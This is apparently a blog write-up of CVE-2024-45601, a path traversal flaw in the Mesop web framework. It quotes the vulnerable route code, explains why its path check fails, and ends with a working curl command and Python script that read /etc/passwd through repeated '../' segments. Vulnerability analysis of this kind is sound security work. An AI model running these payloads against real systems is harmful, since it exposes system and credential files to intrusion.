Kevin K Kien

CVE-2024-45601 Path traversal

01 Nov 2024

Sumary

Path Traversal is vulnerability allow attacker able read any file on the system such as /etc/passwd. In the CVE-2024-45601, code use os.path.join(os.getcwd(), path) without any validate path, so this is lead to vulnerability path traversal.

This is commit code for this vulnerability: google/mesop@17fb769

Analysis Code

In the source with input /{WEB_COMPONENTS_PATH_SEGMENT}/<path:path> attacker can insert with url: /{WEB_COMPONENTS_PATH_SEGMENT}/../../../../../../../../etc/passwd then path = ../../../../../../../../etc/passwd.

@app.route(f"/{WEB_COMPONENTS_PATH_SEGMENT}/<path:path>")
  def serve_web_components(path: str):
    if not is_file_path(path):
      raise MesopException("Unexpected request to " + path)
    serving_path = (
      get_runfile_location(path)
      if has_runfiles()
      else os.path.join(os.getcwd(), path)
    )
    return send_file_compressed(
      serving_path,
      disable_gzip_cache=disable_gzip_cache,
    )

After, code will call function is_file_path(path) to check path is valid or not.

def is_file_path(path: str) -> bool:
    _, last_segment = os.path.split(path)
    return "." in last_segment

However, function is_file_path is just check . in the path, it is not prevent vulnerability path traversal.

Handle path

serving_path = (
  get_runfile_location(path)
  if has_runfiles()
  else os.path.join(os.getcwd(), path)
)
def get_runfile_location(identifier: str) -> str:
    if runfiles.Create() is None:
        current_file_dir = os.path.dirname(__file__)
        return os.path.join(
            current_file_dir, "../" + identifier[len("mesop/mesop/"):]
        )
    return runfiles.Create().Rlocation(identifier)

Function get_runfile_location(identifier) will create path base on identifier but not check ../ in the path.

If has_runfiles() return True function get_runfile_location(identifier) will create path. However, if return False serving_path will create path with os.path.join(os.getcwd(), path) and dont have any validate.

After serving_path is created, file will send to user via send_file_compressed function. If file is sensitive data, user can be read sensitive information.

Exploit

To the exploit vulnerability path traversal, i can use curl or code python

With curl

curl -X GET "http://localhost:5000/WEB_COMPONENTS_PATH_SEGMENT/../../../../../../etc/passwd"

With exploit via python code:

import requests

# Application URL with the path traversal endpoint
base_url = "http://localhost:5000"  
path_segment = "WEB_COMPONENTS_PATH_SEGMENT" 

# Path traversal payload
payload_path = "../../../../../../etc/passwd"

# Create the full URL with the path traversal payload
exploit_url = f"{base_url}/{path_segment}/{payload_path}"

# Send the GET request to the server
try:
    response = requests.get(exploit_url)

    # Check and print the result
    if response.status_code == 200:
        print("Path traversal successful! Contents of /etc/passwd:")
        print(response.text)
    else:
        print(f"Request failed with status code: {response.status_code}")
        print("The application may have protected against path traversal.")
except requests.exceptions.RequestException as e:
    print(f"An error occurred while sending the request: {e}")